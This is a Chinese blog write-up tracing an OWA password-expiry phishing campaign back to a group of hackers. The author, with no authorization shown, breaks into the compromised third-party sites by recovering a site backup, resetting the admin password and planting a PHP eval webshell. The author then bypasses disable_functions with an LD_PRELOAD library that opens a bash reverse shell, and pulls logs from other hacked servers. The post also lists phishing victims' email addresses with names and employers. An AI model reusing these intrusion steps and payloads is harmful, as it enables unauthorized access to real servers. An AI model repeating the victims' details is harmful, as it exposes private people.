郵件釣魚攻擊與溯源

萬千度發表於2019-02-13

  一、前言

近日朋友收到一封來自海外的釣魚郵件委託我幫忙分析。因此我對釣魚者身份和攻擊路徑進行了一次詳細的溯源。大致摸清了攻擊者組織身份、攻擊手法以及動機。本次溯源工作主要是通過提取攻擊者控制的肉雞伺服器、網站訪問日誌、攻擊者後門特徵等。關聯分析這些日誌和特徵最終得到攻擊者的身份資訊。本文以流水賬的方式詳細記錄整個溯源過程包括分析手法和思路以供安全研究人員參考。

二、資訊收集

這是一封冒充 Microsoft Outlook WebApp 密碼過期的釣魚郵件

郵件釣魚攻擊與溯源

2.1 郵件正文

  1. Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
  2. by bizmx16.qq.com (NewMx) with SMTP id
  3. for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
  4. X-QQ-SPAM: true
  5. X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
  6. PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
  7. 1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
  8. fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
  9. QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
  10. X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
  11. 4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
  12. yGbgfv5Gx9Qr65abnNzXymg=
  13. X-QQ-mid: bizmx16t1543445804ti4ex7suw
  14. X-QQ-CSender: www-data@m7web1.platon.sk
  15. X-QQ-ORGSender: www-data@m7web1.platon.sk
  16. X-KK-mid:bizmxp6t1543445804t9ne878su
  17. Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
  18. by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
  19. for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
  20. Received: by m7web1.platon.sk (Postfix, from userid 33)
  21. id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
  22. To: test@test.cn
  23. Subject: =?UTF-8?Q?Password_expiry_notice?=
  24. Date: Wed, 28 Nov 2018 23:56:38 +0100
  25. From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>
  26. Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
  27. X-Priority: 3
  28. MIME-Version: 1.0
  29. Content-Transfer-Encoding: quoted-printable
  30. Content-Type: text/html; charset="us-ascii"
  31. 略...
  32. <br>The password for the Microsoft 365 account<span style=3D"font-weight: b=
  33. old;"> test@test.cn
  34. </span> has
  35. expired.<br>![mir-nc.png-57.1kB][2]
  36. <span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =
  37. account, your existing password may cease to work
  38. shortly.<br>
  39. <br>
  40. You are now required to <span class=3D"Apple-converted-space"></span><a hre=
  41. f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
  42. test.cn
  43. "><span style=3D"font-weight: bold;">change
  44. your password</span></a>
  45. immediateIy.<span class=3D"Apple-converted-space"> <br>
  46. =2E</span><br>
  47. <a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn
  48. 略...

2.2 分析郵件內容

根據郵件內容得到的資訊如下

釣魚網站  
www.rosturplast.com137.74.81.5 法國  
釣魚連結:  
http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn  
發件地址  
no-response@365.mirohaviar.sk  
服務商  
Platon Technologies, s.r.o 斯洛伐克  
SMTP  
sysmailout1.platon.sk 85.248.228.17 斯洛伐克

三、滲透釣魚網站

3.1 漏洞分析

目標網站www.rosturplast.com

訪問釣魚連結一個克隆OWA修改密碼的的虛假頁面我們按照正常流程走一遍密碼隨便輸入。不出所料頁面提示密碼錯誤這麼做可以收集受害者多個密碼提高成功率仔細想想這個功能還是很貼心的。

Step 1  
郵件釣魚攻擊與溯源Step2

郵件釣魚攻擊與溯源

Step 2 

郵件釣魚攻擊與溯源抓包如下 

注入、跨站之流都是不存在的。  

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

訪問首頁這是一家俄羅斯的塑料水管廠商攻擊者入侵了這個網站放置了釣魚頁面再通過郵件傳播。

郵件釣魚攻擊與溯源

埠掃描顯示開放了一堆埠防火牆做了策略限制。

郵件釣魚攻擊與溯源

[+] HOST: www.rosturplast.com 137.74.81.5 法國  
[+] OS: Red Hat 4.8  
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16  
[+] CMS: Joomla 3.3.3 Joomla!是一套海外流行的建站系統基於PHP+MySQL開發

這是一個低版本的Joomla!,joomscan掃描顯示受害網站有一堆漏洞看起來弱不禁風Getshell指日可待。 

郵件釣魚攻擊與溯源

掃描發現PHPMailer RCE漏洞不過需要郵件傳送表單功能才能利用這一堆漏洞裡面看起來唯一有機會的是CVE-2016-9838Joomla! Core Remote Privilege Escalation Vulnerability然而經過測試攻擊者喪心病狂貼心的把使用者註冊頁面刪除了堵住了漏洞導致無法利用。 

郵件釣魚攻擊與溯源

機智的我此時毫無辦法開始掛字典整合Joomla目錄盲掃備份檔案最後發現目標存在PhpMyAdmin後臺和一個報錯頁面頁面顯示了網站絕對路徑和疑似以日期格式生成的網站備份的檔名。

/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip

3.2 陷入僵局

嘗試下載這個檔案http響應404。看了一下同站有多個站點但旁站滲透是個體力活國外這種典型的CloudLinux+cPanel的架構不好提權。到這一步陷入了僵局睡個午覺養養神下午繼續研究。

wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 錯誤 404Not Found

3.3 後臺提權

不到萬不得已不從旁站和C段入手稍加思索根據報錯頁面的備份檔名格式生成日期檔案嘗試遍歷日期下載碰碰運氣。

指令碼內容

  1. #!/bin/bash
  2. startdate=`date -d "+0 day $1" +%Y%m%d`
  3. enddate=`date -d "+0 day $2" +%Y%m%d`
  4. while [[ $startdate -le $enddate ]]
  5. do
  6. date=$startdate
  7. startdateother=`date -d "+0 day $date" +%Y-%m-%d`
  8. dateother=$startdateother
  9. url=http://www.rosturplast.com/rosturplast.com.$dateother.zip
  10. echo "$url"
  11. startdate=`date -d "+1 day $date" +%Y-%m-%d`
  12. startdateother=`date -d "+1 day $date" +%Y-%m-%d`
  13. wget $url
  14. done

指令碼大概跑了一個下午當到達2017-08-07的時候響應200狀態碼看到rosturplast.com.2017-08-07.zip的檔案大小為177M 感覺成了解壓後果然是整站備份果然是柳暗花明又一shell。

郵件釣魚攻擊與溯源郵件釣魚攻擊與溯源

檢視配置檔案configuration.php得到資料庫連線資訊登入PhpMyAdmin後臺。低許可權無法直接寫shell只能修改預設密碼登入Joomla!後臺。

  1. public $dbtype = `mysqli`;
  2. public $host = `localhost`;
  3. public $user = `user***`; //敏感資訊打碼
  4. public $password = `K********6759`; //敏感資訊打碼
  5. public $db = `rtp_com3`;
  6. public $dbprefix = `ms8ef_`;
  7. public $live_site = ``;
  8. public $secret = `5qp******4zU`; //敏感資訊打碼    

郵件釣魚攻擊與溯源郵件釣魚攻擊與溯源

備份原始密文以備還原將後臺密碼修改為 test123456XYZ

  1. http://www.rosturplast.com/administrator/
  2. admin / test123456XYZ

郵件釣魚攻擊與溯源

登入後臺通過模板寫入WebShell

Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll

郵件釣魚攻擊與溯源

這裡寫入了PHP一句話WebShell通過Cknifejava版中國菜刀對網站進行控制。

  1. <?php @eval($_POST[`cmd`]);?>

郵件釣魚攻擊與溯源

檢視攻擊者的釣魚檔案目錄user.txt 詳細記錄了上鉤的受害者資訊

郵件釣魚攻擊與溯源

3.4 日誌分析

將網站檔案和訪問日誌下載到本地分析

  1. [/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz/var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*
  2. [/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz/var/www/rosturpl/data/www/rosturplast.com/
  3. wget -c http://www.rosturplast.com/log.tar.gz && wget -chttp://www.rosturplast.com/www.tar.gz
  4.  root@kali /tmp gzip -*.gz
  5.  root@kali /tmp ls -lh
  6. 總用量 22M
  7. -rw-r----- 1 48 6313 392K 11 30 16:19 rosturplast.com.access.log
  8. -rw-r----- 1 48 6313 418K 11 21 08:08 rosturplast.com.access.log-20181121
  9. -rw-r----- 1 48 6313 315K 11 22 08:27 rosturplast.com.access.log-20181122
  10. -rw-r----- 1 48 6313 367K 11 23 08:08 rosturplast.com.access.log-20181123
  11. -rw-r----- 1 48 6313 332K 11 24 08:20 rosturplast.com.access.log-20181124
  12. -rw-r----- 1 48 6313 394K 11 25 08:30 rosturplast.com.access.log-20181125
  13. -rw-r----- 1 48 6313 217K 11 26 08:27 rosturplast.com.access.log-20181126
  14. -rw-r----- 1 48 6313 338K 11 27 08:07 rosturplast.com.access.log-20181127
  15. -rw-r----- 1 48 6313 1.8M 11 28 08:35 rosturplast.com.access.log-20181128
  16. -rw-r----- 1 48 6313 2.3M 11 29 08:38 rosturplast.com.access.log-20181129
  17. -rw-r----- 1 48 6313 6.4M 11 30 08:38 rosturplast.com.access.log-20181130
  18. -rw-rw---- 1 48 6313 267K 11 30 16:00 rosturplast.com.error.log
  19. -rw-rw---- 1 48 6313 3.8K 11 21 03:44 rosturplast.com.error.log-20181121
  20. -rw-rw---- 1 48 6313 1.9K 11 21 14:43 rosturplast.com.error.log-20181122
  21. -rw-rw---- 1 48 6313 1.9K 11 23 02:30 rosturplast.com.error.log-20181123
  22. -rw-rw---- 1 48 6313 5.0K 11 24 01:46 rosturplast.com.error.log-20181124
  23. -rw-rw---- 1 48 6313 8.3K 11 25 02:07 rosturplast.com.error.log-20181125
  24. -rw-rw---- 1 48 6313 2.3K 11 26 05:05 rosturplast.com.error.log-20181126
  25. -rw-rw---- 1 48 6313 4.1K 11 27 05:34 rosturplast.com.error.log-20181127
  26. -rw-rw---- 1 48 6313 550K 11 28 08:35 rosturplast.com.error.log-20181128
  27. -rw-rw---- 1 48 6313 6.5M 11 29 07:51 rosturplast.com.error.log-20181129
  28. -rw-rw---- 1 48 6313 1.4M 11 30 08:38 rosturplast.com.error.log-20181130

用D盾掃網站檔案發現這個網站已成跑馬場。  
郵件釣魚攻擊與溯源

攻擊者在shells/目錄下放置釣魚檔案和PHP後門。 郵件釣魚攻擊與溯源

檢視哪些IP訪問了後門並統計次數

查詢攻擊者IP地址

  1.  root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -":" `{print $2}` |awk `{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}` |sort -" " -1 --r>ip.txt
  2. 26 174.85.145.99
  3. 20 50.73.252.169
  4. 10 213.233.104.120
  5. 2 207.228.149.69
  6. 2 195.211.23.207
  7. 2 129.205.113.8

  1.  root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/?ip=$line ; done
  2. IP: 174.85.145.99 來自: 美國
  3. IP: 50.73.252.169 來自: 美國
  4. IP: 213.233.104.120 來自: 羅馬尼亞
  5. IP: 207.228.149.69 來自: 百慕大
  6. IP: 195.211.23.207 來自: 俄羅斯
  7. IP: 129.205.113.8 來自: 奈及利亞

根據後門檔名匹配Apache訪問日誌得到攻擊者的代理IP和User Agent

  1.  root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -":" `{print $2 $6}`|sort |uniq
  2. 129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
  3. 174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  4. 207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  5. 213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
  6. 50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

通過日誌匹配郵箱並去重得到受害者郵箱地址

  1. egrep `[0-Z_]{1,}@[0-Z]{1,}(.[0-Z]{1,})+` * | awk -""" `{print $2}` |awk -"HTTP"`{print $1}` |awk -"ml=" `{print $2}` |sort |uniq

  1.  root@kali /tmp egrep `[0-Z_]{1,}@[0-Z]{1,}(.[0-Z]{1,})+` * | awk -""" `{print $2}`|awk -"HTTP" `{print $1}` |awk -"ml=" `{print $2}` |sort |uniq
  2. alexsin54@yahoo.com //攻擊者郵箱
  3. clavenda.payman@lbdi.net //利比亞發展投行CFO
  4. dennis@rayfields.co.za //域名失效
  5. georges.raad@nera.net //新加坡IT基礎設施提供商員工
  6. gthakkar@sscinc.com //美國SS&C Technologies, Inc. 印度分公司
  7. jasonchowan223@gmail.com //攻擊者郵箱
  8. ******@******.com //同事
  9. jiajie.lim@cimb.com //馬來西亞聯昌國際銀行員工
  10. kohchinbeng@bdo.com.sg //新加坡立信會計師事務所員工
  11. mayfaithlee@hotmail.com //未知
  12. philip@beekoo.hk //深圳市很有蜂格網路科技有限公司CEO
  13. Point72.IR@sscinc.com //美國SS&C Technologies, Inc.
  14. shunweicapital@sscinc.com //美國SS&C Technologies, Inc.疑似順為資本
  15. url@email.com //無效

3.5 受害者身份識別

通過搜尋引擎對這15個受害者郵箱進行身份識別。

3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com

alexsin54@yahoo.com-欺è¯è´¦æ·.png

alexsin54@yahoo.com-欺詐賬戶2.png

3.5.2 clavenda.payman@lbdi.net

Mrs. Clavenda O. PAYMAN 利比亞發展投行Liberian Bank forDevelopment and nvestment首席財務官 

來源:https://www.adfi-ci.org/downloads/telecharger.php?Fichier_a_telecharger=files/aadfi_doc_en_20130623170205.pdf&chemin=&id=91  

郵件釣魚攻擊與溯源

3.5.3 georges.raad@nera.net

疑似新加坡 Nera Telecommunications LtdIT基礎設施提供商公司員工  
來源http://www.nera.net/about-us.html

3.5.4 gthakkar@sscinc.com

美國SS&C Technologies, Inc. & 印度金融服務公司 Globeop Financial Services Technologies (India) Private Limited  
來源https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044

來源 http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf 

郵件釣魚攻擊與溯源

3.5.5 jiajie.lim@cimb.com

馬來西亞聯昌國際銀行員工CIMB Group  
來源https://www.cimb.com/en/who-we-are.html

3.5.6 kohchinbeng@bdo.com.sg

KOH CHIN BENG 新加坡立信會計師事務所員工

來源https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng 

郵件釣魚攻擊與溯源

3.5.7 philip@beekoo.hk

深圳市很有蜂格網路科技有限公司 CEO 

來源https://m.zhipin.com/job_detail/1407383492.html 

來源https://www.tianyancha.com/company/2349004659 

郵件釣魚攻擊與溯源

四、滲透郵件傳送網站

目標mirohaviar.sk 這是一個部落格網站

4.1 漏洞掃描

伺服器資訊如下:

[+] HOST: mirohaviar.sk85.248.229.150 斯洛伐克 

[+] OS: Debian 7 

[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16 

[+] CMS: Joomla 1.5 

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源CMS漏洞掃描得到圖示的漏洞資訊經過測試全部無法利用其他埠也沒有發現可以利用的的漏洞看來攻擊者也是一個勤奮的同學入侵成功後做了相應的修復和加固看起來毫無辦法好像只能旁站或者C段滲透了。

然而有人的地方就有江湖有黑客入侵過的網站一定有後門。這類利用通用漏洞批量入侵的黑客團伙後門檔案一般都有特徵我根據前一個網站獲得的php後門檔名列表批量訪問當前網站得到了三個相同的後門檔案。

郵件釣魚攻擊與溯源

  1.  root@kali /tmp/rosturplast.com/webroot/shells md5sum *
  2. 724e7316427151ea1f449f38a28f642c 406.php
  3. 3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
  4. aaf775b99997c166ff45677806d809de an.php
  5. e5c06f1f66781ba5c39d909096c4cd47 a.txt
  6. f71ad06982064b125d155b6f601198b8 bacu.php
  7. f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
  8. c01a0691c484a8d00977a100d8706b50 cfg.php
  9. e5c06f1f66781ba5c39d909096c4cd47 config.php
  10. md5sum: logon.secureaccess: 是一個目錄
  11. 983ba05973b84e33e76916ca0dabedec new2bug.txt
  12. 1c014f955a67974dc779100c13162f1a priv8.php
  13. 2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
  14. 80b5dadd0a9856f1e6d950843140d24e switch-security.php
  15. 48f50fb676028e0ae82f3f2db4e26247 unzipper.php
  16. 51f0bba7ec30b8778dca19ead016a58f webapp365.zip
  17. 58d1d66c0be0739319156702522b1b52 wso.php

相同檔名如下:

  1. http://www.mirohaviar.sk/config.php
  2. http://www.mirohaviar.sk/an.php
  3. http://www.mirohaviar.sk/bacu.php Pro Mailer V2

其中 http://www.mirohaviar.sk/config.php 是攻擊者的加密WebShell理論上只需解密獲得密碼就能登入這個後門。

4.2 解密WebShell

解密過程如下:

  1. awk -""" `{print $2}` config.php
  2. //去除頭尾多餘字元得到base64密文。

  1. awk -""" `{print $2}` config.php| base64 --i|awk -""" `{print $2}` |sed`s/\x//g` |tr -`\`
  2. //第一次base64解碼得到16進位制密文

  1. awk -""" `{print $2}` config.php| base64 --i|awk -""" `{print $2}` |sed`s/\x//g` |tr -`\` |xxd --p
  2. //第二次hex解碼得到base64密文

  1. awk -""" `{print $2}` config.php| base64 --i|awk -""" `{print $2}` |sed`s/\x//g` |tr -`\` |xxd --|base64 --|awk -""" `{print $2}`
  2. //第三次base64解碼得到base64密文

  1. awk -""" `{print $2}` config.php| base64 --i|awk -""" `{print $2}` |sed`s/\x//g` |tr -`\` |xxd --|base64 --|awk -""" `{print $2}` |base64 --i|awk -""" `{print $2}`
  2. //第四次base64解碼得到base64密文

  1. awk -""" `{print $2}` config.php| base64 --i|awk -""" `{print $2}` |sed`s/\x//g` |tr -`\` |xxd --|base64 --|awk -""" `{print $2}` |base64 --i|awk -""" `{print $2}` |base64 --i
  2. //第五次base64解碼得到明文

郵件釣魚攻擊與溯源

得到後門密碼hashMD5解密後得到明文: root 饒了個大彎原來是個弱口令下次遇到這類先跑一下密碼

  1. $auth_pass = "63a9f0ea7bb98050796b649e85481845";  

郵件釣魚攻擊與溯源

這個後門有點皮做了UserAgent判斷我瀏覽器預設設定的UA是Googlebot訪問顯示404這是反搜尋引擎爬蟲的慣用手段所以我換了個正常瀏覽器的UA訪問得到正常頁面。

  1. if(!empty($_SERVER[`HTTP_USER_AGENT`])) {
  2. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  3. if(preg_match(`/` . implode(`|`, $userAgents) . `/i`, $_SERVER[`HTTP_USER_AGENT`])) {
  4. header(`HTTP/1.0 404 Not Found`);
  5. exit;
  6. }
  7. }

郵件釣魚攻擊與溯源

4.3 提權

通過webshell得到了具體系統資訊下一步嘗試提權目的是獲得Apache的web訪問日誌。

4.3.1 突破 disable_functions

郵件釣魚攻擊與溯源

測試發現目標限制跨目錄open_basedir並禁用了命令執行函式導致WebShell許可權下無法跨目錄訪問也無法執行命令。

  1. disable_functionsescapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
  2. open_basedir /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/

郵件釣魚攻擊與溯源

突破的手段很多這裡我利用LD_PRELOAD動態連結來劫持php的mail函式突破disable_functions執行系統命令。

檢視sendmail函式在執行過程中動態呼叫哪些標準庫函式。

  1. www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
  2. Symbol table `.dynsym` contains 420 entries:
  3. Num: Value Size Type Bind Vis Ndx Name
  4. 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
  5. 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
  6. 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
  7. 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
  8. 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
  9. 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
  10. 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
  11. 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4(5)
  12. 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
  13. ......
  14. 76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
  15. 77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)

從中選取geteuid函式進行測試編寫動態連結程式bypass.c

  1. #include<stdlib.h>
  2. #include <stdio.h>
  3. #include<string.h>
  4. void payload() {
  5. system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
  6. }
  7. int geteuid() {
  8. if(getenv("LD_PRELOAD") == NULL) { return 0; }
  9. unsetenv("LD_PRELOAD");
  10. payload();
  11. }

當這個共享庫中的geteuid被呼叫時嘗試載入payload()函式執行命令呼叫system執行一個反彈shell的操作xxx.xxx.xxx.xxx即是我的公網伺服器IP

編譯

  1. gcc --fPIC bypass.-o bypass
  2. gcc -shared bypass.-o bypass.so

上傳

  1. www-data@m7web1:/tmp$ cat b64.txt|base64 ->bypass.so
  2. www-data@m7web1:/tmp$ file bypass.so
  3. file bypass.so
  4. bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)

執行

bypass.php

  1. <?php
  2. putenv("LD_PRELOAD=/tmp/bypass.so");
  3. mail("test@localhost","","","","");
  4. ?>

瀏覽器訪問http://www.mirohaviar.sk/bypass.php頁面後成功執行命令得到了一個www-user許可權的反彈shell。

郵件釣魚攻擊與溯源

4.3.2 發現行蹤

仔細看這是一家斯洛伐克的網路公司這臺伺服器上面託管了五百多個網站當前的許可權可以訪問這些網站的檔案和資料庫令人遺憾的的是apache日誌目錄/var/log/apache2/無許可權訪問。

郵件釣魚攻擊與溯源

不過我在/tmp目錄下面發現了一個有趣的日誌檔案。

  1. [/tmp/]$cat w
  2. --2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz
  3. Connecting to 187.85.134.4:80... connected.
  4. HTTP request sent, awaiting response... 200 OK
  5. Length: 769309 (751K) [application/x-gzip]
  6. Saving to: `mm.tgz`
  7. 0K .......... .......... .......... .......... .......... 6% 174K 4s
  8. 50K .......... .......... .......... .......... .......... 13% 176K 4s
  9. 100K .......... .......... .......... .......... .......... 19% 14.1M 2s
  10. 150K .......... .......... .......... .......... .......... 26% 353K 2s
  11. 200K .......... .......... .......... .......... .......... 33% 353K 2s
  12. 250K .......... .......... .......... .......... .......... 39% 19.8M 1s
  13. 300K .......... .......... .......... .......... .......... 46% 355K 1s
  14. 350K .......... .......... .......... .......... .......... 53% 28.7M 1s
  15. 400K .......... .......... .......... .......... .......... 59% 23.6M 1s
  16. 450K .......... .......... .......... .......... .......... 66% 344K 1s
  17. 500K .......... .......... .......... .......... .......... 73% 18.0M 0s
  18. 550K .......... .......... .......... .......... .......... 79% 360K 0s
  19. 600K .......... .......... .......... .......... .......... 86% 20.4M 0s
  20. 650K .......... .......... .......... .......... .......... 93% 20.2M 0s
  21. 700K .......... .......... .......... .......... .......... 99% 12.7M 0s
  22. 750K . 100% 2438G=1.3s
  23. 2018-11-26 04:49:10 (577 KB/s) - `mm.tgz` saved [769309/769309]

4.4 追蹤

根據洩露日誌使用谷歌搜尋關鍵字http://187.85.134.4發現了一個歷史頁面。  
郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

這是一個已經被刪除的後門頁面剛好被谷歌爬蟲收錄了進一步搜尋一下這個後門引數的關鍵字 

inurl:bc.php?filesrc=得到了多條後門記錄。 

郵件釣魚攻擊與溯源其中多個WebShell快取頁面內容跟上一個被黑網站的臨時目錄中發現的日誌內容吻合疑似自動化攻擊留下的日誌WebShell底部署名Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber  表明後門均為這個黑客組織所有。  

郵件釣魚攻擊與溯源進一步搜尋這個黑客組織名稱發現大量被黑網站程式使用Wordpress與Joomla居多。 

郵件釣魚攻擊與溯源郵件釣魚攻擊與溯源郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源4.5 提取日誌

我提取了其中幾個被入侵網站的訪問日誌。

4.5.1 網站www.radiolanalhue.cl

打包

  1. tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
  2. --exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz/home/radiolanalhue/public_html/
  3. tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz/home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz/home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl

下載

  1. wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz
  2. wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz

分析

  1. 根據後門檔名匹配Apache訪問日誌到攻擊者代理IPUser Agent
  2.   root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018
  3. 疑似攻擊者代理IP
  4. 212.1.211.3 美國 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
  5. 谷歌爬蟲
  6. 66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  7. 66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  8. 66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

4.5.2 網站zebramedia.al

打包

  1. tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz/home/vayqpdvg/zebramedia.al/
  2. tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs

下載

  1. wget http://zebramedia.al/zebramedia.al-log.tar.gz
  2. wget http://zebramedia.al/zebramedia.al-www.tar.gz
  3. -rw-r--r-- 1 1365 1328 478714 11 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
  4. -rw-r--r-- 1 1365 1328 6463 11 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
  5. -rw-r--r-- 1 1365 1328 1855430 6 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz
  6. -rw-r--r-- 1 1365 1328 7899 11 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
  7. -rw-r--r-- 1 1365 1328 22883767 11 30 21:15 ief.publik.live-Nov-2018.gz
  8. -rw-r--r-- 1 1365 1328 67526 11 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
